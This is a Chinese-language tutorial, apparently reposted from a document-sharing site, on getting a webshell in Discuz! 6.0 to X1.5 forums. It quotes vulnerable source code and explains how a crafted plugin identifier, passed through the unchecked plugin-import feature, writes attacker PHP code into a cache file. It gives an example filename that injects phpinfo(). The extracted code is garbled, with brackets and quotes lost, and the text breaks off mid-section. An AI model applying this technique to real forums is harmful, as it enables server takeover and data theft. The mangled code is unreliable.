《Discuz各版本拿Webshell》由会员分享，可在线阅读，更多相关《Discuz各版本拿Webshell（16页珍藏版）》请在金锄头文库上搜索。
1、四个版本的漏洞， Discuz! 6.0 、7.0、7.2 和 X1.5。传 X1.5出 0day，最后神马也木见/include/cache.func.phpPHP代码function writetocache($script, $cachenames, $cachedata = ”, $prefix = cache_) global $authkey; if(is_array($cachenames) & !$cachedata) foreach($cachenames as $name) $cachedata .= getcachearray($name, $script); $dir
2、= DISCUZ_ROOT./forumdata/cache/; if(!is_dir($dir) mkdir($dir, 0777); if($fp = fopen(“$dir$prefix$script.php”, wb) fwrite($fp, “”); fclose($fp); else exit(Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .); 往上翻,找到调用函数的地方.都在 updatecache函数中.PHP代码if(!$cachename |
3、 $cachename = plugins) $query = $db-query(“SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM $tablepreplugins”); while($plugin = $db-fetch_array($query) $data = array_merge($plugin, array(modules = array(), array(vars = array(); $pluginmodules = un
4、serialize($pluginmodules); if(is_array($pluginmodules) foreach($pluginmodules as $module) $datamodules$modulename = $module; $queryvars = $db-query(“SELECT variable, value FROM $tableprepluginvars WHERE pluginid=$pluginpluginid”); while($var = $db-fetch_array($queryvars) $datavars$varvariable = $var
5、value; /注意 writetocache($pluginidentifier, ”, “$_DPLUGIN$pluginidentifier = “.arrayeval($data), plugin_); 如果我们可以控制$pluginidentifier就有机会,它是plugins表里读出来的.去后台看看,你可以发现 identifier对 应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.但是你懂的,当你去野区单抓对面 DPS时,发现对面蹲了 4 个敌人的心情./admin/plugins.inc.phpPHP代码if($newname = tri
6、m($newname) | ($newidentifier = trim($newidentifier) if(!$newname) cpmsg(plugins_edit_name_invalid); $query = $db-query(“SELECT pluginid FROM $tablepreplugins WHERE identifier=$newidentifier LIMIT 1); 欲裂,ispluginkey 判定 newidentifier是否有特殊字符 if($db-num_rows($query) | !$newidentifier | !ispluginkey($ne
7、widentifier) cpmsg(plugins_edit_identifier_invalid); $db-query(“INSERT INTO $tablepreplugins (name, identifier, available) VALUES (”.dhtmlspecialchars(trim($newname).”, $newidentifier, 0)”); updatecache(plugins); updatecache(settings); cpmsg(plugins_edit_succeed, admincp.php?action=pluginsconfig); 还
8、好 Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.PHP代码elseif(submitcheck(importsubmit) $plugindata = preg_replace(“/(#.*s+)*/”, ”, $plugindata); $pluginarray = daddslashes(unserialize(base64_decode($plugindata), 1); /解码后没有判定 if(!is_array($pluginarray) | !is_array($pluginarrayplugin) cpmsg(plugins_i
9、mport_data_invalid); elseif(emptyempty($ignoreversion) & strip_tags($pluginarrayversion) != strip_tags($version) cpmsg(plugins_import_version_invalid); $query = $db-query(“SELECT pluginid FROM $tablepreplugins WHERE identifier=$pluginarraypluginidentifier LIMIT 1); /判断是否重复,直接入库 if($db-num_rows($quer
10、y) cpmsg(plugins_import_identifier_duplicated); $sql1 = $sql2 = $comma = ”; foreach($pluginarrayplugin as $key = $val) if($key = directory) /compatible for old versions $val .= (!emptyempty($val) & substr($val, -1) != /) ? / : ”; $sql1 .= $comma.$key; $sql2 .= $comma.”.$val.”; $comma = ,; $db-query(
11、“INSERT INTO $tablepreplugins ($sql1) VALUES ($sql2)”); $pluginid = $db-insert_id(); foreach(array(hooks, vars) as $pluginconfig) if(is_array($pluginarray$pluginconfig) foreach($pluginarray$pluginconfig as $config) $sql1 = pluginid; $sql2 = ”.$pluginid.”; foreach($config as $key = $val) $sql1 .= ,.$
12、key; $sql2 .= ,”.$val.”; $db-query(“INSERT INTO $tablepreplugin$pluginconfig ($sql1) VALUES ($sql2)”); updatecache(plugins); updatecache(settings); cpmsg(plugins_import_succeed, admincp.php?action=pluginsconfig); -随便新建一个插件,identifier 为 shell,生成文件路径及内容.然后导出备用./forumdata/cache/plugin_shell.phpPHP代码11,
13、 available = 0, adminid = 0, name = Getshell, identifier = shell, datatables = ”, directory = ”, copyright = ”, modules = array ( ), vars = array ( ), )? 我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的：forumdata/cache/plugin_a=phpinfo();$aa.phpPHP代码11, available = 0, adminid = 0, name = Getshell, identifi
14、er = shell, datatables = ”, directory = ”, copyright = ”, modules = array ( ), vars = array ( ), )? 最后是编码一次,给成 Exp:PHP代码7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选允许导入不同版本 Discuz! 的插件-二 、Discuz! 7.2 和 Discuz! X1.5以下以 7.2为例，/admin/plugins.inc.phpPHP代码elseif($operation = import) if(!submitcheck(importsubmit) & !isset($dir) /*未提交前表单神马的*/ else if(!isset($dir) /导入数据解码 $pluginarray = getimportdata(Discuz! Plugin); elseif(!isset($installtype) /*省略一部分*/ /判定你啊,两遍啊两遍 if(!ispl
